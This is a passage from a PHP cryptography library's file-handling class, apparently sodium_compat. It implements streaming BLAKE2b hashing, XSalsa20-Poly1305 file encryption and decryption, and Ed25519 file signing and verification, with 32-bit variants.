        $msgKeypair = ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey(
            ParagonIE_Sodium_Compat::crypto_box_secretkey($ecdhKeypair),
            $ephemeralPK
        );

        $res = self::box_decrypt($ifp, $ofp, $size, $nonce, $msgKeypair);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($nonce);
            ParagonIE_Sodium_Compat::memzero($ephKeypair);
        } catch (SodiumException $ex) {
            if (isset($ephKeypair)) {
                unset($ephKeypair);
            }
        }
        return $res;
    }

    /**
     * Calculate the BLAKE2b hash of a file.
     *
     * @param string      $filePath     Absolute path to a file on the filesystem
     * @param string|null $key          BLAKE2b key
     * @param int         $outputLength Length of hash output
     *
     * @return string                   BLAKE2b hash
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress FailedTypeResolution
     */
    public static function generichash(
        $filePath,
        #[\SensitiveParameter]
        $key = '',
        $outputLength = 32
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($key)) {
            if (is_null($key)) {
                $key = '';
            } else {
                throw new TypeError('Argument 2 must be a string, ' . gettype($key) . ' given.');
            }
        }
        if (!is_int($outputLength)) {
            if (!is_numeric($outputLength)) {
                throw new TypeError('Argument 3 must be an integer, ' . gettype($outputLength) . ' given.');
            }
            $outputLength = (int) $outputLength;
        }

        /* Input validation: */
        if (!empty($key)) {
            if (self::strlen($key) < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN) {
                throw new TypeError('Argument 2 must be at least CRYPTO_GENERICHASH_KEYBYTES_MIN bytes');
            }
            if (self::strlen($key) > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX) {
                throw new TypeError('Argument 2 must be at most CRYPTO_GENERICHASH_KEYBYTES_MAX bytes');
            }
        }
        if ($outputLength < ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MIN');
        }
        if ($outputLength > ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX) {
            throw new SodiumException('Argument 3 must be at least CRYPTO_GENERICHASH_BYTES_MAX');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        $ctx = ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outputLength);
        while ($size > 0) {
            $blockSize = $size > 64
                ? 64
                : $size;
            $read = fread($fp, $blockSize);
            if (!is_string($read)) {
                throw new SodiumException('Could not read input file');
            }
            ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $read);
            $size -= $blockSize;
        }

        fclose($fp);
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }

    /**
     * Encrypt a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox(), but produces
     * the same result.
     *
     * @param string $inputFile  Absolute path to a file on the filesystem
     * @param string $outputFile Absolute path to a file on the filesystem
     * @param string $nonce      Number to be used only once
     * @param string $key        Encryption key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given..');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_encrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        return $res;
    }
    /**
     * Seal a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_secretbox_open(), but produces
     * the same result.
     *
     * Warning: Does not protect against TOCTOU attacks. You should
     * just load the file into memory and use crypto_secretbox_open() if
     * you are worried about those.
     *
     * @param string $inputFile
     * @param string $outputFile
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open(
        $inputFile,
        $outputFile,
        $nonce,
        #[\SensitiveParameter]
        $key
    ) {
        /* Type checks: */
        if (!is_string($inputFile)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($inputFile) . ' given.');
        }
        if (!is_string($outputFile)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($outputFile) . ' given.');
        }
        if (!is_string($nonce)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($nonce) . ' given.');
        }
        if (!is_string($key)) {
            throw new TypeError('Argument 4 must be a string, ' . gettype($key) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($nonce) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOX_NONCEBYTES bytes');
        }
        if (self::strlen($key) !== ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES) {
            throw new TypeError('Argument 4 must be CRYPTO_SECRETBOXBOX_KEYBYTES bytes');
        }

        /** @var int $size */
        $size = filesize($inputFile);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $ifp */
        $ifp = fopen($inputFile, 'rb');
        if (!is_resource($ifp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var resource $ofp */
        $ofp = fopen($outputFile, 'wb');
        if (!is_resource($ofp)) {
            fclose($ifp);
            throw new SodiumException('Could not open output file for writing');
        }

        $res = self::secretbox_decrypt($ifp, $ofp, $size, $nonce, $key);
        fclose($ifp);
        fclose($ofp);
        try {
            ParagonIE_Sodium_Compat::memzero($key);
        } catch (SodiumException $ex) {
            /** @psalm-suppress PossiblyUndefinedVariable */
            unset($key);
        }
        return $res;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result.
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign(
        $filePath,
        #[\SensitiveParameter]
        $secretKey
    ) {
        /* Type checks: */
        if (!is_string($filePath)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($secretKey)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($secretKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($secretKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES) {
            throw new TypeError('Argument 2 must be CRYPTO_SIGN_SECRETKEYBYTES bytes');
        }
        if (PHP_INT_SIZE === 4) {
            return self::sign_core32($filePath, $secretKey);
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $nonceHash */
        $nonceHash = hash_final($hs, true);

        /** @var string $pk */
        $pk = self::substr($secretKey, 32, 32);

        /** @var string $nonce */
        $nonce = ParagonIE_Sodium_Core_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);

        /** @var string $sig */
        $sig = ParagonIE_Sodium_Core_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        /** @var string $hramHash */
        $hramHash = hash_final($hs, true);

        /** @var string $hram */
        $hram = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hramHash);

        /** @var string $sigAfter */
        $sigAfter = ParagonIE_Sodium_Core_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result.
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     * @throws Exception
     */
    public static function verify(
        $sig,
        $filePath,
        $publicKey
    ) {
        /* Type checks: */
        if (!is_string($sig)) {
            throw new TypeError('Argument 1 must be a string, ' . gettype($sig) . ' given.');
        }
        if (!is_string($filePath)) {
            throw new TypeError('Argument 2 must be a string, ' . gettype($filePath) . ' given.');
        }
        if (!is_string($publicKey)) {
            throw new TypeError('Argument 3 must be a string, ' . gettype($publicKey) . ' given.');
        }

        /* Input validation: */
        if (self::strlen($sig) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES) {
            throw new TypeError('Argument 1 must be CRYPTO_SIGN_BYTES bytes');
        }
        if (self::strlen($publicKey) !== ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES) {
            throw new TypeError('Argument 3 must be CRYPTO_SIGN_PUBLICKEYBYTES bytes');
        }
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }

        if (PHP_INT_SIZE === 4) {
            return self::verify_core32($sig, $filePath, $publicKey);
        }

        /* Security checks */
        if (
            (ParagonIE_Sodium_Core_Ed25519::chrToInt($sig[63]) & 240)
                &&
            ParagonIE_Sodium_Core_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))
        ) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        /** @var resource $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_encrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_encrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }


    /**
     * @param resource $ifp
     * @param resource $ofp
     * @param int      $mlen
     * @param string   $nonce
     * @param string   $boxKeypair
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function box_decrypt($ifp, $ofp, $mlen, $nonce, $boxKeypair)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt(
                $ifp,
                $ofp,
                $mlen,
                $nonce,
                ParagonIE_Sodium_Crypto32::box_beforenm(
                    ParagonIE_Sodium_Crypto32::box_secretkey($boxKeypair),
                    ParagonIE_Sodium_Crypto32::box_publickey($boxKeypair)
                )
            );
        }
        return self::secretbox_decrypt(
            $ifp,
            $ofp,
            $mlen,
            $nonce,
            ParagonIE_Sodium_Crypto::box_beforenm(
                ParagonIE_Sodium_Crypto::box_secretkey($boxKeypair),
                ParagonIE_Sodium_Crypto::box_publickey($boxKeypair)
            )
        );
    }

    /**
     * Encrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }

        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        fseek($ifp, $first32, SEEK_SET);

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $plaintext = fread($ifp, $blockSize);
            if (!is_string($plaintext)) {
                throw new SodiumException('Could not read input file');
            }
            $cBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $plaintext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $cBlock, $blockSize);
            $state->update($cBlock);

            $mlen -= $blockSize;
            $iter += $incr;
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }
        $end = self::ftell($ofp);

        /*
         * Write the Poly1305 authentication tag that provides integrity
         * over the ciphertext (encrypt-then-MAC)
         */
        fseek($ofp, $start, SEEK_SET);
        fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES);
        fseek($ofp, $end, SEEK_SET);
        unset($state);

        return true;
    }

    /**
     * Decrypt a file
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key)
    {
        if (PHP_INT_SIZE === 4) {
            return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key);
        }
        $tag = fread($ifp, 16);
        if (!is_string($tag)) {
            throw new SodiumException('Could not read input file');
        }

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8),
            $subkey
        );

        /* Verify the Poly1305 MAC -before- attempting to decrypt! */
        $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32));
        if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) {
            throw new SodiumException('Invalid MAC');
        }

        /*
         * Set the cursor to the end of the first half-block. All future bytes will
         * generated from salsa20_xor_ic, starting from 1 (second block).
         */
        $first32 = fread($ifp, 32);
        if (!is_string($first32)) {
            throw new SodiumException('Could not read input file');
        }
        $first32len = self::strlen($first32);
        fwrite(
            $ofp,
            self::xorStrings(
                self::substr($block0, 32, $first32len),
                self::substr($first32, 0, $first32len)
            )
        );
        $mlen -= 32;

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        /* Decrypts ciphertext, writes to output file. */
        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic(
                $ciphertext,
                $realNonce,
                $iter,
                $subkey
            );
            fwrite($ofp, $pBlock, $blockSize);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        return true;
    }

    /**
     * @param ParagonIE_Sodium_Core_Poly1305_State $state
     * @param resource $ifp
     * @param string $tag
     * @param int $mlen
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function onetimeauth_verify(
        ParagonIE_Sodium_Core_Poly1305_State $state,
        $ifp,
        $tag = '',
        $mlen = 0
    ) {
        /** @var int $pos */
        $pos = self::ftell($ifp);

        /** @var int $iter */
        $iter = 1;

        /** @var int $incr */
        $incr = self::BUFFER_SIZE >> 6;

        while ($mlen > 0) {
            $blockSize = $mlen > self::BUFFER_SIZE
                ? self::BUFFER_SIZE
                : $mlen;
            $ciphertext = fread($ifp, $blockSize);
            if (!is_string($ciphertext)) {
                throw new SodiumException('Could not read input file');
            }
            $state->update($ciphertext);
            $mlen -= $blockSize;
            $iter += $incr;
        }
        $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish());

        fseek($ifp, $pos, SEEK_SET);
        return $res;
    }

    /**
     * Update a hash context with the contents of a file, without
     * loading the entire file into memory.
     *
     * @param resource|HashContext $hash
     * @param resource $fp
     * @param int $size
     * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     *                 PHP 7.2 changes from a resource to an object,
     *                 which causes Psalm to complain about an error.
     * @psalm-suppress TypeCoercion
     *                 Ditto.
     */
    public static function updateHashWithFile($hash, $fp, $size = 0)
    {
        /* Type checks: */
        if (PHP_VERSION_ID < 70200) {
            if (!is_resource($hash)) {
                throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.');
            }
        } else {
            if (!is_object($hash)) {
                throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.');
            }
        }

        if (!is_resource($fp)) {
            throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.');
        }
        if (!is_int($size)) {
            throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.');
        }

        /** @var int $originalPosition */
        $originalPosition = self::ftell($fp);

        // Move file pointer to beginning of file
        fseek($fp, 0, SEEK_SET);
        for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) {
            /** @var string|bool $message */
            $message = fread(
                $fp,
                ($size - $i) > self::BUFFER_SIZE
                    ? $size - $i
                    : self::BUFFER_SIZE
            );
            if (!is_string($message)) {
                throw new SodiumException('Unexpected error reading from file.');
            }
            /** @var string $message */
            /** @psalm-suppress InvalidArgument */
            self::hash_update($hash, $message);
        }
        // Reset file pointer's position
        fseek($fp, $originalPosition, SEEK_SET);
        return $hash;
    }

    /**
     * Sign a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces
     * the same result. (32-bit)
     *
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $secretKey Secret signing key
     *
     * @return string           Ed25519 signature
     * @throws SodiumException
     * @throws TypeError
     */
    private static function sign_core32($filePath, $secretKey)
    {
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }

        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }

        /** @var string $az */
        $az = hash('sha512', self::substr($secretKey, 0, 32), true);

        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $nonceHash = hash_final($hs, true);
        $pk = self::substr($secretKey, 32, 32);
        $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes(
            ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce)
        );

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);

        $hramHash = hash_final($hs, true);

        $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash);

        $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce);

        /** @var string $sig */
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        fclose($fp);
        return $sig;
    }

    /**
     *
     * Verify a file (rather than a string). Uses less memory than
     * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but
     * produces the same result. (32-bit)
     *
     * @param string $sig       Ed25519 signature
     * @param string $filePath  Absolute path to a file on the filesystem
     * @param string $publicKey Signing public key
     *
     * @return bool
     * @throws SodiumException
     * @throws Exception
     */
    public static function verify_core32($sig, $filePath, $publicKey)
    {
        /* Security checks */
        if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }

        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($publicKey[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var int|bool $size */
        $size = filesize($filePath);
        if (!is_int($size)) {
            throw new SodiumException('Could not obtain the file size');
        }
        /** @var int $size */

        /** @var resource|bool $fp */
        $fp = fopen($filePath, 'rb');
        if (!is_resource($fp)) {
            throw new SodiumException('Could not open input file for reading');
        }
        /** @var resource $fp */

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey);

        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($publicKey, 0, 32));
        /** @var resource $hs */
        $hs = self::updateHashWithFile($hs, $fp, $size);
        /** @var string $hDigest */
        $hDigest = hash_final($hs, true);

        /** @var string $h */
        $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R);

        // Close the file handle
        fclose($fp);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;
        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * Encrypt a file (32-bit)
     *
     * @param resource $ifp
     * @param resource $ofp
     * @param int $mlen
     * @param string $nonce
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key)
    {
        $plaintext = fread($ifp, 32);
        if (!is_string($plaintext)) {
            throw new SodiumException('Could not read input file');
        }
        $first32 = self::ftell($ifp);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $realNonce */
        $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen0 = $mlen;
        if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            $realNonce,
            $subkey
        );

        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES
            )
        );

        // Pre-write 16 blank bytes for the Poly1305 tag
        $start = self::ftell($ofp);
        fwrite($ofp, str_repeat("\x00", 16));

        /** @var string $c */
        $cBlock = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        $state->update($cBlock);
        fwrite($ofp, $cBlock);
        $mlen -= 32;

